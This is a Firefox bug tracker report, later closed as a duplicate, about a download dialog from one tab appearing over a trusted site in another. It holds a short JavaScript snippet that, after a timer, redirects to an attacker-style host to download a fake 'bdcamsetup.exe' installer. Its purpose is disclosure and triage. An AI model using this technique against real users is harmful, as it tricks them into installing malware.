Closed Bug 1766843 Opened 2 years ago Closed 2 years ago

Download / Save file dialog appears in another tab

Categories

(Firefox :: Downloads Panel, enhancement)

Firefox 99
enhancement

Tracking

()

RESOLVED DUPLICATE of bug 741050

People

(Reporter: ardyanx.id, Unassigned)

Details

(Keywords: reporter-external)

Attachments

(1 file)

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0

Steps to reproduce:

  • Hackers create fake blogs with articles (eg How to download bandicam)
  • Then the victim opens the article and the victim clicks the download link from the blog, the download link directs the victim to the official site belonging to bandicam.com, and suddenly a download / save file dialog appears after the victim opens the official site bandicam.com
  • Then the user allows downloading / saving the application and installing it without suspicion.

Actual results:

When the victim redirects to bandicam.com, the a.com site (a hacker's blog) automatically executes the code below after 6 seconds.

<script>
setTimeout(function(){
window.location = "http://reoneh4x0r.tk/brokensec/bdcamsetup.exe";
},6000);
</script>

And a download / save file dialog will appear on the bandicam.com site, the target will automatically agree to download the app, because he knows that the official domain currently being accessed is bandicam.com, without realizing that the dialog actually comes from the a.com site (which where the application is malware).

Impact, Makes it easy for a hacker to embed malware on the target device without telling them to install it. This is a simple example, the extension could be any other file, it doesn't have to be .exe.

Expected results:

Displaying the download / save file dialog in another tab makes it easy for the malware itself to be downloaded by the user.
Supposedly, the dialogue from the a.com site should not appear on the b.com site, it causes piracy.

Flags: sec-bounty?
Summary: [Bug Bounty] Download / Save file dialog appears in another tab → Download / Save file dialog appears in another tab
Component: Untriaged → Downloads Panel
Status: UNCONFIRMED → RESOLVED
Closed: 2 years ago
Resolution: --- → DUPLICATE

Is this really a dupe of bug 741050? mechanically on the back end, yes, but one of the reasons we were comfortable not fixing that bug was because the prompt that was shown showed the actual name of the site doing the download. The new UI gives a new experience.

reopening for that debate, but we may well decide it's a duplicate after all

Status: RESOLVED → REOPENED
Ever confirmed: true
Flags: needinfo?(gijskruitbosch+bugs)
Resolution: DUPLICATE → ---

(In reply to Daniel Veditz [:dveditz] from comment #2)

Is this really a dupe of bug 741050? mechanically on the back end, yes, but one of the reasons we were comfortable not fixing that bug was because the prompt that was shown showed the actual name of the site doing the download. The new UI gives a new experience.

reopening for that debate, but we may well decide it's a duplicate after all

We never showed the site doing the download, just the URL from which the download is happening. That's not super useful, it's usually a CDN even for benign sites, which is useless for most people. See also debate in bug 1758570.

I don't think this is fundamentally different.

Separate from bug 1711049 and friends, I don't see how we're going to do much of anything here - comment 0 suggests "suppressing" the panel (but what then - still download the file in the background... that would be even more confusing / offer potential for abuse!). Neither showing the panel nor downloading is user-hostile.

No, I think we should block the download, and we might choose to use the "did this originate in something other than the currently selected tab" as additional info to cause the download to be blocked, perhaps in a new/separate dep of bug 1711049, but I don't see that we need 2 bugs here.

If you think the lack of URL info means this is now more severe, let's have that discussion in bug 741050?

Flags: needinfo?(gijskruitbosch+bugs) → needinfo?(dveditz)

fair enough.

Status: REOPENED → RESOLVED
Closed: 2 years ago2 years ago
Flags: needinfo?(dveditz)
Resolution: --- → DUPLICATE
Flags: sec-bounty? → sec-bounty-
Group: firefox-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: